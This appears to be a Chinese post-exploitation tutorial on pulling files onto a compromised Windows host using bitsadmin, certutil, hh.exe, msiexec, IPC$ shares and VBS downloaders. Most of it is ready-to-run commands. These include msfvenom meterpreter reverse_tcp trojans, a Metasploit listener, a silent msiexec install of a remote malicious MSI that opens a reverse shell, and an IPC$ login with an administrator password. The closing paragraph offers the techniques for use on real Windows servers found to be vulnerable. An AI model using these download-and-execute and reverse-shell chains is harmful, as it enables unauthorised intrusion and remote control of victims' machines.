后渗透系列之windows文件下载
不知道你们在进行渗透时会不会遇到这样的问题,在进行后渗透时linux系统是可以使用wget命令进行文件下载的,在真实的渗透环境下往往拿到的都只是windows系统的一个命令行,那windows系统怎么做到文件下载,笔者在这里给大家一一介绍
环境准备
首先需要搭建一个http服务,笔者这里使用的是kali linux进行搭建,IP地址192.168.109.128
首先启动apache
service apache2 restart
然后在/var/www/html/test目录随便写入一个文件
准备工作就到此位置,接下来介绍几种windows系统下载文件的方式
Bitsadmin
介绍:该命令只能下载文件到本地磁盘上
使用方法
第一种
bitsadmin /transfer myjob1 /download /priority normal http://192.168.109.128/test/test.txt C:\Users\baji\Desktop\test.txt
第二种
bitsadmin /rawreturn /transfer getfile http://192.168.109.128/test/test.txt C:\Users\baji\Desktop\test.txt
第三种
bitsadmin /rawreturn /transfer getpayload http://192.168.109.128/test/test.txt C:\Users\baji\Desktop\test.txt
支持的系统版本:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10
Certutil
介绍:Windows程序用于处理证书
使用方法
certutil.exe -urlcache -split -f http://192.168.109.128/test/test.txt test.txt
该命令会将文件下载到当前目录
支持的系统版本:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10
HH.exe
介绍:用于处理cmh文件格式的应用程序
使用方法
hh.exe http://192.168.109.128/test/test.txt
这里可以看到,下载的文件是以html的方式进行打开,但是如果是应用程序的话发现就可以做到下载的效果
可以先用msfvenom在网站目录下面生成一个exe后缀的木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.109.128 lport=4444 -f exe -o test.exe
然后在windows这边再次使用hh.exe进行下载
hh.exe http://192.168.109.128/test/test.exe
可以看到是能进行下载的
支持的系统版本:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10
Msiexec.exe
介绍:系统进程,用于安装MSI,一般更新或者安装软件时会碰到,支持远程下载功能
使用方法
先使用kali linux的msfvenom模块在网站目录下面生成一个msi后缀的木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.109.128 lport=8888 -f msi -o test.msi
然后进入msfconsole开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.109.128
set lport 8888
exploit
然后在windows的命令行上输入
msiexec.exe /q /i http://192.168.109.128/test/test.msi
因为msiexec.exe具有下载的特性,所以可以看到kali linux是能够接收到反弹的会话的
支持的系统版本:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10
IPC$
介绍:Windows让进程间通信的开放的命名管道
这里需要两台windows进行实验,因为IPC$
是基于windows才有的协议
windows管理员权限打开cmd,输入net share ipc$
开启IPC$通道
建立通道
net use \\192.168.109.186\ipc$ /user:administrator "123456"
copy \\192.168.109.186\C$\Users\Administrator\Desktop\1.txt C:\Users\baji\Desktop
即可复制文件成功
支持的系统版本:NT、Windows 2000、Windows XP及以上
VBS脚本
通过脚本也可以实现远程下载
使用方法
第一种
编写脚本文件1.vbs
url = "http://192.168.109.128/test/test.txt" '网络上的文件地址
saveas = "C:\Users\baji\Desktop\test.txt" '保存成的本地文件
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象
Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求
stream.mode = 3 '设置数据流为读写模式
stream.type = 1 '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件
'释放对象
Set xmlhttp = Nothing
Set stream = Nothing
在windows命令输入cscript 1.vbs
即可
第二种
编写脚本文件2.vbs
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.109.128/test/test.txt",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "C:\Users\baji\Desktop\test.txt",2 '保存文件的路径和文件名
windows命令行输入cscript 2.vbs
即可
总结
平常我们在网上下的一些靶机可能都是都是基于linux系统的,但是在真实生活中windows系统还是非常多的,如果哪天你在网站上发现了一个漏洞,但是他的服务器又是一个windows系统,你在拿到他的命令行之后就不知道下一步怎么做了,相信这篇文章能帮到你很多东西